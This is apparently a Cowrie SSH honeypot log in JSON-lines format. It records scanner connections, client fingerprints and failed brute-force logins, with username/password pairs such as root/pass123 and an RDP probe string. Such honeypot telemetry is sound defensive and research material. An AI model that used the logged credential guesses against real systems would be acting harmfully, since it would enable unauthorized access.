{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:08.877770Z","src_ip":"172.236.228.111","session":"af61b6629c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:09.263625Z","src_ip":"172.236.228.111","session":"af61b6629c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.111","src_port":48916,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0386948c809","protocol":"ssh","message":"New connection: 172.236.228.111:48916 (10.17.0.5:22) [session: b0386948c809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:09.357749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:09.709454Z","src_ip":"172.236.228.111","session":"b0386948c809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:09.712653Z","src_ip":"172.236.228.111","session":"b0386948c809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:10.661973Z","src_ip":"172.236.228.111","session":"b0386948c809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.111","src_port":48922,"dst_ip":"10.17.0.5","dst_port":22,"session":"f16580340481","protocol":"ssh","message":"New connection: 172.236.228.111:48922 (10.17.0.5:22) [session: f16580340481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:10.748915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:10.957597Z","src_ip":"172.236.228.111","session":"f16580340481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:10.961877Z","src_ip":"172.236.228.111","session":"f16580340481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:11.300594Z","src_ip":"172.236.228.111","session":"f16580340481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":64835,"dst_ip":"159.203.135.109","dst_port":22,"session":"f90f29bcf337","protocol":"ssh","message":"New connection: 2.57.121.112:64835 (159.203.135.109:22) [session: f90f29bcf337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:52.739542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:52.744327Z","src_ip":"2.57.121.112","session":"f90f29bcf337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:52.848984Z","src_ip":"2.57.121.112","session":"f90f29bcf337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30061972","message":"login attempt [admin/30061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:53.339354Z","src_ip":"2.57.121.112","session":"f90f29bcf337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300595","message":"login attempt [admin/300595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:54.446435Z","src_ip":"2.57.121.112","session":"f90f29bcf337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300481","message":"login attempt [admin/300481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:55.554143Z","src_ip":"2.57.121.112","session":"f90f29bcf337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30041997","message":"login attempt [admin/30041997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:56.662109Z","src_ip":"2.57.121.112","session":"f90f29bcf337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30041996","message":"login attempt [admin/30041996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:57.768827Z","src_ip":"2.57.121.112","session":"f90f29bcf337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:36:58.876738Z","src_ip":"2.57.121.112","session":"f90f29bcf337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50688,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c8da6b88762","protocol":"ssh","message":"New connection: 167.172.81.52:50688 (10.17.0.5:22) [session: 8c8da6b88762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:14.455970Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:14.460935Z","src_ip":"167.172.81.52","session":"8c8da6b88762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:14.464528Z","src_ip":"167.172.81.52","session":"8c8da6b88762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58674,"dst_ip":"159.203.135.109","dst_port":22,"session":"3623e7e5b635","protocol":"ssh","message":"New connection: 103.176.20.57:58674 (159.203.135.109:22) [session: 3623e7e5b635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:26.648024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:26.652256Z","src_ip":"103.176.20.57","session":"3623e7e5b635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:26.901233Z","src_ip":"103.176.20.57","session":"3623e7e5b635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pretty","message":"login attempt [root/pretty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:27.636522Z","src_ip":"103.176.20.57","session":"3623e7e5b635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:28.882895Z","src_ip":"103.176.20.57","session":"3623e7e5b635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44116,"dst_ip":"10.17.0.5","dst_port":22,"session":"5583d1dbfab3","protocol":"ssh","message":"New connection: 87.251.79.125:44116 (10.17.0.5:22) [session: 5583d1dbfab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:43.473162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:43.480810Z","src_ip":"87.251.79.125","session":"5583d1dbfab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:43.553513Z","src_ip":"87.251.79.125","session":"5583d1dbfab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass123","message":"login attempt [root/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:43.771224Z","src_ip":"87.251.79.125","session":"5583d1dbfab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:37:44.845609Z","src_ip":"87.251.79.125","session":"5583d1dbfab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":33108,"dst_ip":"10.17.0.5","dst_port":22,"session":"f559d722a813","protocol":"ssh","message":"New connection: 193.37.70.224:33108 (10.17.0.5:22) [session: f559d722a813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:33.867315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:33.871958Z","src_ip":"193.37.70.224","session":"f559d722a813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:33.960780Z","src_ip":"193.37.70.224","session":"f559d722a813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"resident","message":"login attempt [root/resident] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:34.235824Z","src_ip":"193.37.70.224","session":"f559d722a813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:35.327589Z","src_ip":"193.37.70.224","session":"f559d722a813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":36805,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd246d10264","protocol":"ssh","message":"New connection: 2.57.121.25:36805 (159.203.135.109:22) [session: 1fd246d10264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:38.100520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:38.105207Z","src_ip":"2.57.121.25","session":"1fd246d10264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:38.204504Z","src_ip":"2.57.121.25","session":"1fd246d10264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1379","message":"login attempt [user/1379] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:38.674003Z","src_ip":"2.57.121.25","session":"1fd246d10264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46628,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e30f884a877","protocol":"ssh","message":"New connection: 194.113.233.25:46628 (10.17.0.5:22) [session: 7e30f884a877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:39.331112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:39.335139Z","src_ip":"194.113.233.25","session":"7e30f884a877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:39.428673Z","src_ip":"194.113.233.25","session":"7e30f884a877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456987","message":"login attempt [root/456987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:39.711141Z","src_ip":"194.113.233.25","session":"7e30f884a877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13576479","message":"login attempt [user/13576479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:38:39.776864Z","src_ip":"2.57.121.25","session":"1fd246d10264","protocol":"ssh"}
